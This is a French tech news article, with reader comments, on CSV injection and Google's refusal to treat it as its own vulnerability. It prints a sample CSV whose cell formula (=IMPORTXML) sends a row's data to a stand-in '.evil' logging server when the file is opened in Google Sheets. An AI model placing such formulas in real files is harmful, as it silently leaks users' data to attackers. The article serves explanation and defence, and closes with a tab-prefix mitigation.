IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)

Vous êtes nouveau sur Developpez.com ? Créez votre compte ou connectez-vous afin de pouvoir participer !

Vous devez avoir un compte Developpez.com et être connecté pour pouvoir participer aux discussions.

Vous n'avez pas encore de compte Developpez.com ? Créez-en un en quelques instants, c'est entièrement gratuit !

Si vous disposez déjà d'un compte et qu'il est bien activé, connectez-vous à l'aide du formulaire ci-dessous.

Identifiez-vous
Identifiant
Mot de passe
Mot de passe oublié ?
Créer un compte

L'inscription est gratuite et ne vous prendra que quelques instants !

Je m'inscris !

Injection CSV : Google dédouane ses produits
Mais que dire de ce rebondissement à propos du tableur Sheets ?

Le , par Patrick Ruiz

20PARTAGES

7  0 
Ne me la fais pas, lancera un utilisateur averti de technologies informatiques lorsqu’on essaie de lui parler des attaques par injection CSV. Les développements à ce sujet ont pris de la poussière. Sous certains cieux, on dit même : « les bords ont vieilli. » Le vecteur d’attaque est en effet crédité d’une entrée dans le top 10 de l’Open Web Application Security Project (OWASP) – un projet avec focus sur la sécurisation des applications Web – qui date de 2013. Le vecteur d’attaque est connu et semble-t-il, pris à la légère.

Dans un billet de blog qui fait suite aux alertes de sécurité reçues de diverses équipes de recherche, Google répond : « nous recevons de temps à autre des rapports qui font une description des attaques par injection CSV. Ces derniers soulignent qu’un de nos produits, doté de la fonctionnalité d’exportation vers le format CSV peut être abusé par l’injection de formules Excel au sein d’un fichier à télécharger par un utilisateur. […]. Au-delà de la possibilité de réaliser des opérations arithmétiques sur la machine d’une victime, cet état de choses peut conduire à l’exécution de commandes arbitraires. »

Et d’ajouter : « d’après notre équipe sécurité, il ne s’agit pas d’une situation dont la solution est de notre ressort ou qui pourrait avoir un impact sur la sécurité de nos utilisateurs et de nos produits. […]. Les fichiers CSV c’est du texte et l’évaluation des formules en leur sein est un comportement exhibé par un sous-ensemble d’applications qui les ouvrent. Il s’agit donc plus d’un effet secondaire de l’utilisation de ce format de fichiers qu’une faille dans nos produits capables d’exporter les fichiers CSV. Ce vecteur d’attaque peut être mitigé par l’application qui importe des données d’une source externe, comme Microsoft Excel par exemple, en générant un avertissement. Conclusion, nous ne pensons pas que le risque introduit par ce comportement nécessite que des changements soient apportés à nos produits. »

Le coupable est, semble-t-il, très vite désigné, à savoir : les applications tierces et les développeurs en charge de mettre en place les protections nécessaires pour s’assurer d’une importation sans risque des fichiers CSV. Le bout de code CSV qui suit montre qu’un attaquant peut abuser de l’application Google Sheets elle-même en extirpant des données à un utilisateur même averti. Un appel à la fonction IMPORTXML (fonction de l’API Google Sheets que l’on retrouve aussi sur Excel) précédée de l’un des symboles qui déclenchent l’évaluation d’une formule (en l’occurrence ici =) et l’attaquant déclenche l’accès furtif à une ressource externe. « Google Sheets devrait au moins générer un avertissement lorsqu’une requête externe est générée lors de l’importation d’un fichier CSV », note l’auteur du billet de blog source.

Code : Sélectionner tout
1
2
3
4
UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240
2,2017-07-25,Important Client,"=IMPORTXML(CONCAT(""http://some-server-with-log.evil?v="", CONCATENATE(A2:E2)), ""//a"")",240
Il y a plus… le cas de l’utilisateur averti qui, dans une organisation bénéficie la plupart du temps des droits d’administrateur, est celui qui donne le plus froid dans le dos. Un appel bien placé de la fonction IMPORTRANGE dans un fichier CSV et l’attaquant peut avoir accès à des informations stockées au sein d’autres fichiers sur disque.

La firme de Mountain View est au courant des vulnérabilités qu’exhibe son produit, mais ne semble pas changer d’avis sur la question. Les développeurs en charge de ces questions devront donc continuer à implémenter les protections nécessaires pour éviter que leurs organisations respectives puissent être pénétrées de la sorte. La littérature sur le sujet abonde sur la toile depuis un moment, 2013 selon des estimations. L’auteur du billet de blog pour sa part propose de faire précéder les symboles qui déclenchent l’évaluation des formules par le caractère de tabulation.

Source : billet de blog, Google Bughunter University

Et vous ?

Que pensez-vous du positionnement de Google par rapport à ce vecteur d’attaques ?

Comment en tant que développeur vous assurez-vous que l’importation de fichiers CSV ne pose pas de problème de sécurité ?

Voir aussi :

Des pirates se servent d'attaques par injection de SQL pour attaquer des sites conçus avec le CMS Drupal et y installer de faux ransomware

Une erreur dans cette actualité ? Signalez-nous-la !

Avatar de transgohan
Expert éminent https://www.developpez.com
Le 12/10/2017 à 11:57
Que pensez-vous du positionnement de Google par rapport à ce vecteur d’attaques ?
Que pour une fois leur réponse est tout à fait cohérente et correcte et qu'on ne peut pas leur jeter la balle.

Quand on ouvre un fichier texte au format csv le comportement voulu n'est pas d'exécuter du code ou des formules, il y a donc bien un problème dans l'éditeur qui ouvre le dit fichier.
On va nous répondre que ce n'est pas un bug mais une fonctionnalité bientôt non ? Bah fonctionnalité aberrante au discrédit de la sécurité dans ce cas.
1  0 
Avatar de
https://www.developpez.com
Le 12/10/2017 à 11:48
Citation Envoyé par Patrick Ruiz Voir le message
Il y a plus … le cas de l’utilisateur averti qui, dans une organisation bénéficie la plupart du temps des droits d’administrateur, est celui qui donne le plus froid au dos. Un appel bien placé de la fonction IMPORTRANGE dans un fichier CSV et l’attaquant peut avoir accès à des informations stockées au sein d’autres fichiers sur disque.
Je n'y connais rien en sécurité donc je me pose la question : un "utilisateur averti" fait du CSV ou du excel avec les droits d'administration ?
0  0 
Avatar de BugFactory
Membre chevronné https://www.developpez.com
Le 12/10/2017 à 13:26
Citation Envoyé par Dasoft Voir le message
Donc Google a bien un problème dans son éditeur, on peut leur jeter la balle du coup
L'éditeur en question est Excel, de Microsoft.

Je suis d'accord avec Google sur ce coup. Ils n'ont pas à supprimer une fonctionnalité de leurs produits à cause d'un bogue d'Excel, c'est à Microsoft de régler le problème.
0  0 
Avatar de transgohan
Expert éminent https://www.developpez.com
Le 12/10/2017 à 13:40
Citation Envoyé par Dasoft Voir le message
Donc Google a bien un problème dans son éditeur, on peut leur jeter la balle du coup
Google ne fait que de l'export au format CSV d'après l'article. Et on leur reproche de ne pas filtrer les chaînes de texte qui sont exécutés ensuite par un logiciel tierce comme du code ou une formule.
0  0 
Avatar de abriotde
Membre chevronné https://www.developpez.com
Le 12/10/2017 à 14:26
Mais c'est comme un navigateur, Excel devrait dire attention ou il va charger les données de tel site (Qui plus est pas en HTTPS) en demandant à l'utilisateur. Si Google changeait cela n'empêcherait pas n'importe quel hacker de faire un fichier verreux
0  0 
Avatar de Dasoft
Membre actif https://www.developpez.com
Le 12/10/2017 à 12:46
Quand on ouvre un fichier texte au format csv le comportement voulu n'est pas d'exécuter du code ou des formules, il y a donc bien un problème dans l'éditeur qui ouvre le dit fichier.
Donc Google a bien un problème dans son éditeur, on peut leur jeter la balle du coup

ici les deux sont en tort : Google et Microsoft qui n'affichent aucun message d'information
0  1